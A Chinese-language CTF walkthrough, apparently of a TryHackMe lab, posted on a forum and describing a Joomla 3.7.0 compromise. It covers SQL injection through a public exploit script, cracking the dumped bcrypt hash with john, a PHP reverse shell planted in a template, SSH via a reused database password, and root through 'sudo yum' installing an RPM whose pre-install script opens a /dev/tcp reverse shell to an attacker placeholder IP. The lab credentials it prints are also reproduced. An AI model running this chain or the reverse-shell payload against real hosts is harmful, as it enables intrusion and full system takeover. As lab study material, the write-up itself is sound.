搜索

[29116] 2021-08-11_【渗透测试】Joomla获取反向Shell

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2021-08-11_【渗透测试】Joomla获取反向Shell 【 渗 透 测 试 】   J o o m l a   获 取 反 向   S h e l l O t s 安 全   2 0 2 1 - 0 8 - 1 1 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 侦 察 侦 察 我 访 问 了 网 络 服 务 器 。 这 是 一 个 类 似 博 客 的 应 用 程 序 ， 显 示 了 “ 蜘 蛛 侠 ” 抢 劫 银 行 的 项 目 。 查 看   H T M L ， 它 显 示   J o o m l a !   正 在 使 用 。 乍 一 看 ， 我 正 试 图 找 到   J o o m l a ！ 网 页 中 的 版 本   -   但 似 乎 没 有 信 息 。 我 用 谷 歌 搜 索 了 更 多 信 息 ， 发 现 我 们 可 以 看 到   J o o m l a !   通 过 查 看 语 言 版 本 。 h t t p s : / / w w w . i t o c t o p u s . c o m / h o w - t o - q u i c k l y - k n o w - t h e - v e r s i o n - o f - a n y - j o o m l a - w e b s i t e 网 络 枚 举 网 络 枚 举 导 航   r o b o t s . t x t 我 尝 试 浏 览   r o b o t s . t x t   中 的 所 有 目 录 。 / a d m i n i s t r a t o r   很 有 前 途 ， 因 为 它 显 示 了 一 个 管 理 面 板 。 但 我 需 要 先 找 到 超 级 用 户 的 凭 据 。 网 络 扫 描 网 络 扫 描 S S H   ( 2 2 ) h t t p   ( 8 0 ) m y s q l   ( 3 3 0 6 ) 似 乎 主 要 的 攻 击 媒 介 是   W e b   服 务 器 和 数 据 库 。 建 立 后 门 建 立 后 门   ( 1 ) 我 在 用 户 登 录 功 能 中 尝 试 了 一 些   S Q L   注 入 负 载 。 但 它 不 起 作 用 。 所 以 我 在 谷 歌 上 搜 索 了   J o o m l a   的 漏 洞 利 用 程 序 ！ 3 . 7 . 0 h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / N i n j a J c 0 1 / j o o m b l a h - 3 / m a s t e r / j o o m b l a h . p y 注 意 ： 这 需 要 p y t h o n 2 F o u n d   t a b l e : ' ,   ' f b 9 j 5 _ u s e r s ' )   F o u n d   u s e r ' ,   [ ' 8 1 1 ' ,   ' S u p e r   U s e r ' ,   ' j o n a h ' ,   ' j o n a h @ t r y h a c k m e . c o m ' ,   ' $ 2 y $ 1 0 $ 0 v e O / J S F h 4 3 8 9 L l u c 4 X y a . d f y 2 M F . b Z h z 0 j V M w . V . d 3 p 1 2 k B t Z u t m ' ,   ' ' ,   ' ' ] )   ( '   -   E x t r a c t i n g   s e s s i o n s   f r o m ' ,   ' f b 9 j 5 _ s e s s i o n ' )
我 尝 试 使 用   j o h n   破 解 密 码 ： 所 以 密 码 是 s p i d e r m a n 1 2 3 我 在 管 理 面 板 中 以   j o n a h   的 身 份 登 录 。 从 从   J o o m l a   获 取 反 向 获 取 反 向   S h e l l ！ ！ 这 需 要 更 多 时 间 。 谷 歌 搜 索 后 ， 我 发 现 我 们 可 以 i n d e x . p h p 将 模 板 中 的 文 件 更 改 为 p h p 反 向 s h e l l 。 建 立 后 门 建 立 后 门   ( 2 ) 我 很 难 手 动 找 到 用 户 标 志 。 所 以 我 决 定 运 行 一 些   L i n u x   枚 举 脚 本 。 我 使 用   p y t h o n   命 令 生 成 ： 错 误 错 误 我 浏 览 了 我 的   L i n u x   P E   清 单 ， 但 没 有 一 个 检 查 有 效 。 我 看 到 我 们 有 一 个 帐 户 ： 此 外 ， 我 试 图 检 查 一 些 事 情 ： 尝 试 所 有   S U I D   二 进 制 文 件 以 查 看 是 否 可 以 提 升 权 限   - >   不 起 作 用 寻 找 内 核 漏 洞   - >   不 起 作 用 然 后 在   l i n p e a s   枚 举 期 间 ， 我 看 到 发 现 了 一 个 数 据 库 密 码 。 测 试   m y s q l   是 否 有 任 何 漏 洞 以 及 它 是 否 以   r o o t   身 份 运 行   - >   不 起 作 用 我 尝 试 以   r o o t   身 份 登 录 ： j o h n   - - f o r m a t = b c r y p t   - - w o r d l i s t = / u s r / s h a r e / w o r d l i s t s / r o c k y o u . t x t   j o n a h . t x t p y t h o n   - c   ' i m p o r t   p t y ;   p t y . s p a w n ( " / b i n / s h " ) ' j j a m e s o n : x : 1 0 0 0 : 1 0 0 0 : J o n a h   J a m e s o n : / h o m e / j j a m e s o n : / b i n / b a s h
但 那 里 没 有 什 么 有 用 的 。 我 尝 试 寻 找   L i n u x   漏 洞 和   s u d o   漏 洞   - >   不 起 作 用 ， 没 有 进 展 。 我 将 在   S S H   中 以   j j a m e s o n   身 份 登 录 。 我 试 过 蛮 力 ， 但 它 不 起 作 用 。 我 如 何 意 识 到 自 己 的 错 误 ？ 我 如 何 意 识 到 自 己 的 错 误 ？ 至 此 ， 除 了 找 到 数 据 库 密 码 之 外 ， 我 还 没 有 取 得 任 何 进 展 。 我 参 考 了 其 它 文 章 这 有 很 大 帮 助 ： h t t p s   :   / / s u s h a n t 7 4 7 . g i t b o o k s . i o / t o t a l - o s c p - g u i d e / c o n t e n t / p r i v i l e g e _ e s c a l a t i o n _ - _ l i n u x . h t m l 我 意 识 到 了 我 的 错 误 。 我 应 该 检 查 发 现 的 密 码 是 否 被   S S H   重 用 ， 而 不 是 仅 依 赖 于 暴 力 破 解 。 S S H   –   登 录 检 查 方 法 登 录 检 查 方 法 1 .   检 查 已 知 密 码 是 否 被 重 用 ？ 对 枚 举 期 间 发 现 的 每 个 新 密 码 执 行 此 操 作 2 .   如 果 没 有 ， 那 么 尝 试 暴 力 破 解 。 我 花 了   4   个 小 时 才 弄 清 楚 数 据 库 密 码 被 重 用 为 j j a m e s o n s s h   密 码 。 权 限 提 升 权 限 提 升 现 在 我 可 以 以   j j a m e s o n   身 份 登 录 。 我 做 的 第 一 件 事 就 是 跑   s u d o   - l 看 到 这 个 账 号 可 以 运 行 s u d o   y u m 。 Y u m   P E 好 文 章 参 考 ： h t t p s : / / m e d i u m . c o m / @ k l o c k w 3 r k / p r i v i l e g e - e s c a l a t i o n - h o w - t o - b u i l d - r p m - p a y l o a d s - i n - k a l i - l i n u x - 3 a 6 1 e f 6 1 e 8 b 2 首 先 我 需 要 安 装   f p m   和   r p m 。 然 后 使 用 有 效 负 载 创 建 一 个   r o o t . s h   文 件 ： 然 后 使 用   r o o t . s h   创 建 包 ： 在 端 口   3 3 3 3   启 动 一 个   n c   侦 听 器 。 下 载 目 标 机 器 中 的 软 件 包 并 安 装 ： m y s q l   - u   r o o t   - p   - D   j o o m l a M Y S Q L   P a s s w o r d u s e r :   r o o t p w :   n v 5 u z 9 r 3 Z E D z V j N u g i t   c l o n e   h t t p s : / / g i t h u b . c o m / j o r d a n s i s s e l / f p m c d   f p m s u d o   g e m   i n s t a l l   f p m s u d o   a p t - g e t   i n s t a l l   r p m # ! / b i n / b a s h b a s h   - i   > &   / d e v / t c p / [ A T T A C K E R   I P ] / 3 3 3 3   0 > & 1 f p m   - n   r o o t   - s   d i r   - t   r p m   - a   a l l   - - b e f o r e - i n s t a l l   r o o t . s h   . s u d o   y u m   l o c a l i n s t a l l   - y   [ p a c k a g e   n a m e ] . r p m
在 侦 听 器 中 ， 我 们 将 以   r o o t   用 户 身 份 接 收 连 接 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理